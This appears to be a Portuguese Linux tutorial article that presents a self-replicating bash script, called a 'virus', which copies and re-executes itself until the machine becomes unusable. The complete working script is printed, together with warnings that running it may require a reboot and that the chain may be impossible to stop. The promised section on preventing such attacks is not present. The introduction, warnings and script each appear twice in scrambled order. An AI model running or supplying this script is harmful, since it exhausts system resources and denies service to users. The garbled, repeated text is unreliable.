Vírus em Linux?
Este artigo é uma cópia do artigo Vírus em Linux, de minha autoria, publicado originalmente em http://linux.lcc.ufmg.br e reformatado para ser compartilhado aqui no Viva o Linux. Nele veremos como criar um "vírus" em Linux e em seguida como configurá-lo para evitar esse tipo de exploração do sistema.
Introdução
Muito já foi dito sobre a segurança do Linux, sendo uma de suas características a ausência de vírus. Será isto realmente verdade?
Neste artigo estudaremos um tipo de arquivo autor-replicante e veremos como a utilização deste tipo de script pode afetar o bom funcionamento do sistema.
Organismos autores-replicantes são sistemas que podem se reproduzir a partir de si mesmos. O script que vamos estudar possui esta característica. Ele copia a si mesmo e executa as cópias, que geram e executam mais cópias, e assim por diante. Por isto o chamaremos de vírus. O impacto deste "vírus" é conhecido como DoS (Deny of Service, ou Negação de Serviço).
É possível que ao se executar este script, seu sistema fique inoperante, sendo necessário reiniciá-lo. A construção mais simples deste tipo de script que preserva a característica de autorreplicação e executa algum comando é algo parecido com o seguinte script, batizado de virus.bash:
Vamos explicá-lo passo-a-passo, mas antes de executá-lo, é meu dever avisar sobre alguns pontos importantes:
1. A execução deste script pode fazer com que a sua máquina deixe de funcionar e precise ser reiniciada.
2. Você pode não conseguir cessar a cadeia de execução deste script.
3. Só execute este script se estiver certo do que está fazendo e para fins didáticos.
4. Caso decida executá-lo, crie um diretório e execute a partir dele.
5. Este é um estudo sobre conceito, com foco em replicabilidade e DoS. Estes scripts, na forma apresentada, não se propagam pela rede nem pela estrutura de diretórios.
Neste artigo estudaremos um tipo de arquivo autor-replicante e veremos como a utilização deste tipo de script pode afetar o bom funcionamento do sistema.
Organismos autores-replicantes são sistemas que podem se reproduzir a partir de si mesmos. O script que vamos estudar possui esta característica. Ele copia a si mesmo e executa as cópias, que geram e executam mais cópias, e assim por diante. Por isto o chamaremos de vírus. O impacto deste "vírus" é conhecido como DoS (Deny of Service, ou Negação de Serviço).
É possível que ao se executar este script, seu sistema fique inoperante, sendo necessário reiniciá-lo. A construção mais simples deste tipo de script que preserva a característica de autorreplicação e executa algum comando é algo parecido com o seguinte script, batizado de virus.bash:
#!/bin/bash
REPLICA=`cat /dev/urandom | strings | tr -d '[:punct:]'| head -n 1 | awk -F" " '{print $1}'`
while [[ ${REPLICA} == "" ]]
do
REPLICA=`cat /dev/urandom | strings | tr -d '[:punct:]'| head -n 1 | awk -F" " '{print $1}'`
done
# AÇÃO:
echo Ola!
:> ${REPLICA}
chmod +x ${REPLICA}
cat ${0} > ${REPLICA}
echo "exit 0" >> ${REPLICA}
./${REPLICA} &
exit 0
REPLICA=`cat /dev/urandom | strings | tr -d '[:punct:]'| head -n 1 | awk -F" " '{print $1}'`
while [[ ${REPLICA} == "" ]]
do
REPLICA=`cat /dev/urandom | strings | tr -d '[:punct:]'| head -n 1 | awk -F" " '{print $1}'`
done
# AÇÃO:
echo Ola!
:> ${REPLICA}
chmod +x ${REPLICA}
cat ${0} > ${REPLICA}
echo "exit 0" >> ${REPLICA}
./${REPLICA} &
exit 0
Vamos explicá-lo passo-a-passo, mas antes de executá-lo, é meu dever avisar sobre alguns pontos importantes:
1. A execução deste script pode fazer com que a sua máquina deixe de funcionar e precise ser reiniciada.
2. Você pode não conseguir cessar a cadeia de execução deste script.
3. Só execute este script se estiver certo do que está fazendo e para fins didáticos.
4. Caso decida executá-lo, crie um diretório e execute a partir dele.
5. Este é um estudo sobre conceito, com foco em replicabilidade e DoS. Estes scripts, na forma apresentada, não se propagam pela rede nem pela estrutura de diretórios.